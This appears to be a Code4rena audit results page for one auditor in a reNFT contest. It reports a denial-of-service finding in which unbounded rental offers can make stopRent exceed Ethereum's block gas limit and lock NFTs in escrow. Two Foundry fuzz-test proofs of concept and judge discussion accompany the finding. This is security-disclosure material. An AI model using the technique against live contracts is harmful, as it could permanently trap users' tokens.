Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 32/116
Findings: 3
Award: $309.96
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: plasmablocks
Also found by: 0xabhay, BARW, hals, serial-coder
295.5823 USDC - $295.58
When an order is created on Opensea the Create::validateOrder()
policy method is used to ensure the order is configured correctly. Currently there is no maximum limit to the number of offers
in the input ZoneParameters
, which allows orders to contain an arbitrary amount of ERC-721 and ERC-1155 items to a rental order.
If a large enough rental order is successfully created, there is a risk that it won't be able to be stopped by calling the Stop::stopRent()
due to the amount of gas required exceeding the block gas limit. This would prevent the escrow from settling the order and leave the order permantanly in a rental state. This also means any ERC-721 and ERC-1155 tokens in the order would not be able to be reclaimed.
This situation arises under the following conditions:
Below I have written 2 proof of concepts to show the above conditions are possible. Each of these can be added to StopRent.t.sol
to run.
// Update the `setup` in AccountCreator to 2000+ tokens on deployToken function testFuzz_StopRent_PayOrder_More_Expensive_To_Stop_Than_Start(uint numOf721, uint numof1155) public { numOf721 = bound(numOf721, 400, erc721s.length); numof1155 = bound(numof1155, 400, erc1155s.length); uint numOfERC20 = erc1155s.length % 30; // create a Alice BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: numOf721, erc1155Offers: numof1155, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: numOfERC20 }); ( Order memory orderOne, bytes32 orderHashOne, OrderMetadata memory metadataOne ) = finalizeOrder(); createOrderFulfillment({ _fulfiller: bob, order: orderOne, orderHash: orderHashOne, metadata: metadataOne }); uint initialGasLeft = gasleft(); // finalize the base order fulfillment RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment(); uint totalGasForOrder = initialGasLeft - gasleft(); // speed up in time past the rental expiration vm.warp(block.timestamp + 750); // stop the rental order and steal carols nft vm.prank(alice.addr); uint remaininggInitial = gasleft(); stop.stopRent(rentalOrderOne); uint finalGasLeft = gasleft(); uint gasForStopingRent = remaininggInitial - finalGasLeft; assert(totalGasForOrder > gasForStopingRent); } // Update the `setup` in AccountCreator to 2000+ tokens on deployToken function testFuzz_StopRent_PayOrder_StopRent_Hit_Block_GasLimit(uint numOf721, uint numof1155) public { numOf721 = bound(numOf721, 1500, erc721s.length); numof1155 = bound(numof1155, 1500, erc1155s.length); uint numOfERC20 = erc1155s.length % 30; // create a Alice BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: numOf721, erc1155Offers: numof1155, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: numOfERC20 }); ( Order memory orderOne, bytes32 orderHashOne, OrderMetadata memory metadataOne ) = finalizeOrder(); createOrderFulfillment({ _fulfiller: bob, order: orderOne, orderHash: orderHashOne, metadata: metadataOne }); uint initialGasLeft = gasleft(); // finalize the base order fulfillment RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment(); uint totalGasForOrder = initialGasLeft - gasleft(); // speed up in time past the rental expiration vm.warp(block.timestamp + 750); // stop the rental order and steal carols nft vm.prank(alice.addr); uint remaininggInitial = gasleft(); stop.stopRent(rentalOrderOne); uint finalGasLeft = gasleft(); uint gasForStopingRent = remaininggInitial - finalGasLeft; // finalize the order creation // block gaslimit for ETH: https://ycharts.com/indicators/ethereum_average_gas_limit uint GAS_LIMIT = 30000000 wei; assert(gasForStopingRent < GAS_LIMIT); }
Manual review and foundry
Limit the number of offers that an order can contain (to a value such as 500 or 1000) to ensure that stopping rentals doesn't exceed the blocks gas limit. One way to do this is to enforce a maximum number of SpentItem[] offer
and fail to create the order if it is exceeded.
DoS
#0 - c4-pre-sort
2024-01-21T17:47:29Z
141345 marked the issue as duplicate of #544
#1 - c4-judge
2024-01-27T18:25:05Z
0xean marked the issue as selected for report
#2 - c4-judge
2024-01-27T18:25:58Z
0xean marked the issue as not a duplicate
#3 - c4-judge
2024-01-27T18:27:14Z
0xean marked the issue as satisfactory
#4 - c4-sponsor
2024-01-29T21:54:34Z
Alec1017 (sponsor) acknowledged
#5 - ding99ya
2024-01-30T04:28:31Z
@0xean thanks for the judge. I am not sure if this issue really exists. To be valid, the condition is: createOrderGas < blockGasLimit < stopRentGas, however, the POC separates this condition. The first test is to illustrate stopRentGas can be larger than createOrderGas, the second test is to illustrate stopRentGas > blockGasLimit, we still can't find a single order where createGas < blockGasLimit < stopRentGas based on these two separate fuzz tests.
#6 - BenRai1
2024-01-31T09:43:19Z
@ding99ya, have a look at https://github.com/code-423n4/2024-01-renft-findings/issues/283, it shows that creating a rental consumes less gas than closing a rental. @0xean maybe consider making https://github.com/code-423n4/2024-01-renft-findings/issues/283 the primary issue
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
Judge has assessed an item in Issue #577 as 2 risk. The relevant finding follows:
L2
#0 - c4-judge
2024-01-28T21:29:18Z
0xean marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:29:23Z
0xean marked the issue as satisfactory
🌟 Selected for report: 0xA5DF
Also found by: 0xmystery, 7ashraf, AkshaySrivastav, CipherSleuths, NentoR, SBSecurity, Tendency, ZanyBonzy, ZdravkoHr, dd0x7e8, hals, haxatron, invitedtea, jasonxiale, juancito, kaden, krikolkk, ladboy233, oakcobalt, peanuts, petro_1912, pkqs90, plasmablocks, ravikiranweb3, rbserver, rokinot, souilos
12.582 USDC - $12.58
0.8.20
which is currently not supported on L2'sThe PUSH0 opcode was added to solidity in version 0.8.20
and is currently not supported on Polygon or Avalanche. Contract versions should be downgraded to 0.8.19
Rental orders are stored internally as hashes derived from the _deriveRentalOrderHash()
method. This hash does not include the rentalWallet id. consider adding the rentalWallet id to the hash to ensure hash uniqueness
#0 - 141345
2024-01-22T13:57:56Z
577 plasmablocks l r nc 0 0 1
L 1 n L 2 d dup of https://github.com/code-423n4/2024-01-renft-findings/issues/239
#1 - c4-judge
2024-01-27T20:31:23Z
0xean marked the issue as grade-b